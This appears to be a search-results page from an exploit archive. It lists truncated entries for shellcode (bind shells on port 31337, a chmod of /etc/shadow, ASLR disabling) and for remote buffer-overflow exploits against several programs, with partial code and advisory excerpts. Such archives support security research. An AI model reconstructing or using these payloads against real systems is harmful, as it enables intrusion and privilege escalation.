7572 matches found
Polymorphic Bindport 31337 with setreuid (0,0) linux/x86
No description provided by source. / Title : Polymorphic shellcode that bindport to 31337 with setreuid 0,0 x86 linux shellcode. Name : 131 bytes bind port 31337 x86 linux polymorphic shellcode. Date : Sat Jun 17 21:27:03 2010 Author : gunslinger yudha.gunslingeratgmail.com Web :...
36 bytes chmod("/etc/shadow", 0666) shellcode
No description provided by source. include stdio.h include string.h / by Magnefikko 14.04.2010 [email protected] promhyl.oz.pl Subgroup: PRekambr Name: 36 bytes chmod/etc/shadow, 0666 shellcode Platform: Linux x86 chmod/etc/shadow, 0666; gcc -Wl,-z,execstack filename.c shellcode:...
Streamripper <= 1.61.25 HTTP Header Parsing Buffer Overflow Exploit 2
No description provided by source. / name: streamripper = 1.61.25 win32 remote exploit bug by: Ulf Harnhammar status: public exploit: psylocn payload: portbind 4444 K:\exploit.exe 80 0 public-release streamripper = 1.61.25 remote exploit exploit by psylocn 2006 bug by Ulf Harnhammar + server...
CamShot 1.2 - SEH Overwrite Exploit
No description provided by source. CamShot SEH overwrite by tecnik import socket, sys if lensys.argv!=2: print Usage: camshot.py target exit s = socket.socketsocket.AFINET, socket.SOCKSTREAM s.connectsys.argv1,80 print Sending Exploit to: + sys.argv1 GET request + overflow string request =GET /...
freebsd/x86-64 exec("/bin/sh") shellcode 31 bytes
No description provided by source. / | | | | | | | \ | | | | || |/ |/ | |/ / ' \ | | / | | | | | | | | | | | | | | | | || ||,|||\| || || \/||| http://www.hacknroll.com Description: FreeBSD x86-64 exec/bin/sh Shellcode - 31 bytes Authors: Maycon M. Vitali 0ut0fBound Milw0rm .:...
Helix Server 11.0.1 - Remote Heap Overflow Exploit (win2k SP4)
No description provided by source. /usr/bin/python Remote exploit for the vulnerability in Helix server v11.0.1 as described at http://gleg.net/helix.txt The exploit spawns a shell on TCP port 4444 and connects to it. At the time of overflow we control EAX which is used in a call as follows...
Linux/x86-64 - Disable ASLR Security - 143 bytes
No description provided by source. / Title: Linux/x86-64 - Disable ASLR Security - 143 bytes Date: 2010-06-17 Tested: Archlinux x8664 k2.6.33 Author: Jonathan Salwan Web: http://shell-storm.org | http://twitter.com/jonathansalwan ! Dtabase of shellcodes http://www.shell-storm.org/shellcode/...
IBM AIX 4.3.x/5.1 ERRPT Local Buffer Overflow Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/5885/info The IBM AIX errpt command is prone to a locally exploitable buffer overflow condition. It is possible to exploit this condition to execute arbitrary attacker-supplied instructions with root privileges...
Hylafax Hylafax 4.0.2 - Buffer Overflow Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/765/info Hylafax is a popular fax server software package designed to run on multiple UNIX operating systems. Some versions of Hylafax ship with a vulnerable sub program 'faxalter'. This program is installed SUID UUCP and...
Beatport Player 1.0.0.283 - (.M3U File) Local Stack Overflow Exploit (3)
No description provided by source. !/usr/bin/perl Beatport Player 1.0.0.283 .M3U File Stack Core Overflow ExploitSEH Work Only in WIN SP2 FR Credit to SirGod The Discover Stack The exploiter Whalna rire m3a lprogram mati khdeme hta ti chiyeb lpc :d After exec the exploit wait some sec for see the...
Adobe Flash Player < 10.1.53 .64 Action Script Type Confusion Exploit (DEP+ASLR bypass)
No description provided by source. Source: http://www.abysssec.com/blog/2011/04/exploiting-adobe-flash-player-on-windows-7/ Adobe Flash player Action script type confusion exploit DEP+ASLR bypass advisory text : Here is another reliable windows 7 exploit . the main method used for exploitation is...
Zenturi NixonMyPrograms Class (sasatl.dll 1.5.0.531) - Remote BoF
No description provided by source. pre codespan style=font: 10pt Courier New;span class=general1-symbol----------------------------------------------------------------------------- bZenturi NixonMyPrograms Class sasatl.dll v. 1.5.0.531 Scan Method Remote Buffer Overflow Exploit Heap Spray...
RealPlayer 10 ".smil" File Local Buffer Overflow Exploit
No description provided by source. / RealPlayer .smil file buffer overflow Coded by nolimit@CiSO & Buzzdee greets to COREiSO & news & flare & class101 & ESI & RVL & everyone else I forget This uses a seh overwrite method, which takes advantage of the SEH being placed in multiple locations over th...
Citrix Presentation Server Client WFICA.OCX ActiveX - Heap BOF Exploit
No description provided by source. !-- Citrix Presentation Server Client WFICA.OCX ActiveX Component Heap Buffer Overflow Exploit Vulnerability discovered by Andrew Christensen and Aaron Portnoy http://www.securityfocus.com/bid/21458 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6334...
mpg123 pre0.59s Invalid MP3 Header Memory Corruption Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/6593/info A memory corruption vulnerability has been reported for mpg123 that may result in code execution. The vulnerability exists when mpg123 is used to play certain MP3 files. Specifically, when playing MP3 files with...
Citrix Presentation Server Client 9.200 WFICA.OCX ActiveX Component Heap Buffer Overflow Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/21458/info Citrix Presentation Server Client is prone to a heap buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer. An...
Solaris 2.6/7.0 lpset -r Buffer Overflow Vulnerability (1)
No description provided by source. source: http://www.securityfocus.com/bid/1138/info A vulnerability exists in the handling of the -r option to the lpset program, as included in Solaris 7 from Sun Microsystems. The -r option is undocumented. As such, its use in unknown. However, when supplied a...
BomberClone < 0.11.6.2 - (Error Messages) Remote Buffer Overflow Exploit
No description provided by source. / bomberclone 0.11.6.2 remote exploit CVE-2006-0460 3/14/06 [email protected] / include stdio.h include stdlib.h include string.h include unistd.h include sys/types.h include sys/socket.h include netinet/in.h include arpa/inet.h / fork + bind port 31337 - ty izi...
Linux/ARM - setuid(0) & execve("/bin/sh","/bin/sh",0) - 38 bytes
No description provided by source. / Title: Linux/ARM - setuid0 & execve/bin/sh,/bin/sh,0 - 38 bytes Date: 2010-06-29 Tested: ARM926EJ-S rev 5 v5l Author: Jonathan Salwan Web: http://shell-storm.org | http://twitter.com/jonathansalwan ! Dtabase of shellcodes http://www.shell-storm.org/shellcode/...
Oracle OTRCREP Oracle 8/9 Home Environment Variable Buffer Overflow Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/3139/info Oracle is an Enterprise level SQL database, supporting numerous features and options. It is distributed and maintained by Oracle Corporation. A buffer overflow has been discovered in the handling of $ORACLEHOME ...